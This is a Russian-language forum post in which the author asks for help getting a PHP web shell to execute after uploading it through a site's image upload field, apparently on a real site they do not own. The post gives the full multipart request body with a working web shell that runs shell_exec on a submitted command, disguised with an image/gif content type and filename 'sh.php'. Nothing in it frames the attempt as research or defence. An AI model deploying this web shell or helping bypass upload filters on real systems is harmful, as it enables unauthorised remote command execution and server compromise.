- Автор темы
- Добавить закладку
- #21
Вобщем тут такой прикол, я нашел место, где картиночки залиются на сайте, и получается залить файлы с любым расширением, но эти расшираения ни на что не влияют, как и mime-type файла. Например у меня файл вебшелла залит на сервак, но как бы я не менял mime-type - работать пхп не хочет, но html отрабатывает как надо. И я в тупике, ребят, помогите пожалуйста
Пример скину как это выглядит тело реквеста:
Обратите внимание на Content-type, с таким контентом хтмл отображался. Предвкушая вопросы: x-php,php,x-httpd-php(как то так) тоже пробовал, вебшеллы залиты, а толку ноль, хтмл работает (типо дизайн и инпут есть, функционала нету)
Пример скину как это выглядит тело реквеста:
Код:
------WebKitFormBoundaryAgf2YqC88rw0kCj1
Content-Disposition: form-data; name="item_image2_url"
123
------WebKitFormBoundaryAgf2YqC88rw0kCj1
Content-Disposition: form-data; name="image_2"; filename="sh.php"
Content-Type: image/gif
<?php
if (!empty($_POST['cmd'])) {
$cmd = shell_exec($_POST['cmd']);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Web Shell</title>
<style>
* {
-webkit-box-sizing: border-box;
box-sizing: border-box;
}
body {
font-family: sans-serif;
color: rgba(0, 0, 0, .75);
}
main {
margin: auto;
max-width: 850px;
}
pre,
input,
button {
padding: 10px;
border-radius: 5px;
background-color: #efefef;
}
label {
display: block;
}
input {
width: 100%;
background-color: #efefef;
border: 2px solid transparent;
}
input:focus {
outline: none;
background: transparent;
border: 2px solid #e6e6e6;
}
button {
border: none;
cursor: pointer;
margin-left: 5px;
}
button:hover {
background-color: #e6e6e6;
}
.form-group {
display: -webkit-box;
display: -ms-flexbox;
display: flex;
padding: 15px 0;
}
</style>
</head>
<body>
<main>
<h1>Web Shell</h1>
<h2>Execute a command</h2>
<form method="post">
<label for="cmd"><strong>Command</strong></label>
<div class="form-group">
<input type="text" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>"
onfocus="this.setSelectionRange(this.value.length, this.value.length);" autofocus required>
<button type="submit">Execute</button>
</div>
</form>
<?php if ($_SERVER['REQUEST_METHOD'] === 'POST'): ?>
<h2>Output</h2>
<?php if (isset($cmd)): ?>
<pre><?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?></pre>
<?php else: ?>
<pre><small>No result.</small></pre>
<?php endif; ?>
<?php endif; ?>
</main>
</body>
</html>
------WebKitFormBoundaryAgf2YqC88rw0kCj1
Content-Disposition: form-data; name="item_image3_url"
и там дальше пошло так жеОбратите внимание на Content-type, с таким контентом хтмл отображался. Предвкушая вопросы: x-php,php,x-httpd-php(как то так) тоже пробовал, вебшеллы залиты, а толку ноль, хтмл работает (типо дизайн и инпут есть, функционала нету)
